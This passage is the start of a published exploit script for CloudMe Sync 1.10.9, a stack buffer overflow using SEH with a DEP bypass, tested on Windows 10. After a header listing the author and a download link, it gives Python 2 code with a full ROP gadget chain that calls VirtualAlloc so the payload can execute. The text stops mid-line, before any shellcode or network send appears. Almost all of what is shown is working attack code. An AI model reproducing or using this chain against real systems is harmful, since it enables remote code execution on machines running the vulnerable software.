# Exploit Title: CloudMe Sync 1.10.9 - Buffer Overflow (SEH)(DEP Bypass) # Date: 2018-08-05 # Exploit Author: Manoj Ahuje # Linkedin: https://www.linkedin.com/in/manojahuje/ # Vendor Homepage: https://www.cloudme.com/ # Software Link: https://www.cloudme.com/downloads/CloudMe_1109.exe # Tested on: Windows 10 Home (x64) #!/usr/bin/env python import socket,struct print 'CloudMe Sync v1.10.9 Buffer Overflow with DEP Bypass on Win10 x64' def create_rop_chain(): # rop chain generated with mona.py - www.corelan.be rop_gadgets = [ 0x61ba8b5e, # POP EAX # RETN [Qt5Gui.dll] 0x690398a0, # ptr to &VirtualAlloc() [IAT Qt5Core.dll] 0x61cd7f74, # MOV EAX,DWORD PTR DS:[EAX] # RETN [Qt5Gui.dll] 0x68d50536, # XCHG EAX,ESI # RETN [Qt5Core.dll] 0x699f619a, # POP EBP # RETN [Qt5Network.dll] 0x68f7a81b, # & jmp esp [Qt5Core.dll] 0x68f9a472, # POP EDX # RETN [Qt5Core.dll] 0xffffffff, # Value to negate, will become 0x00000001 0x6eb47052, # NEG EDX # RETN [libgcc_s_dw2-1.dll] 0x68c7af10, # POP EBX # RETN [Qt5Core.dll] 0xffffffff, # 0x6201df92, # INC EBX # RETN [Qt5Gui.dll] 0x68f8063c, # ADD EBX,EDX # ADD AL,0A # RETN [Qt5Core.dll] 0x61f03b9c, # POP EAX # RETN [Qt5Gui.dll] 0x7cfc896b, # put delta into eax (-> put 0x00001000 into edx) 0x69a76004, # ADD EAX,83038642 # ADD AL,53 # RETN [Qt5Network.dll] 0x62035b71, # XCHG EAX,EDX # RETN [Qt5Gui.dll] 0x61db4eca, # POP EAX # RETN [Qt5Gui.dll] 0xffffffc0, # Value to negate, will become 0x00000040 0x6fe4ceaa, # NEG EAX # RETN [libstdc++-6.dll] 0x68fb862d, # XCHG EAX,ECX # RETN [Qt5Core.dll] 0x68b13f2a, # POP EDI # RETN [Qt5Core.dll] 0x6fe4ceac, # RETN (ROP NOP) [libstdc++-6.dll] 0x61ba8fa8, # POP EAX # RETN [Qt5Gui.dll] 0x90909090, # nop 0x61bf7fca, # PUSHAD # RETN [Qt5Gui.dll] ] return ''.join(struct.pack('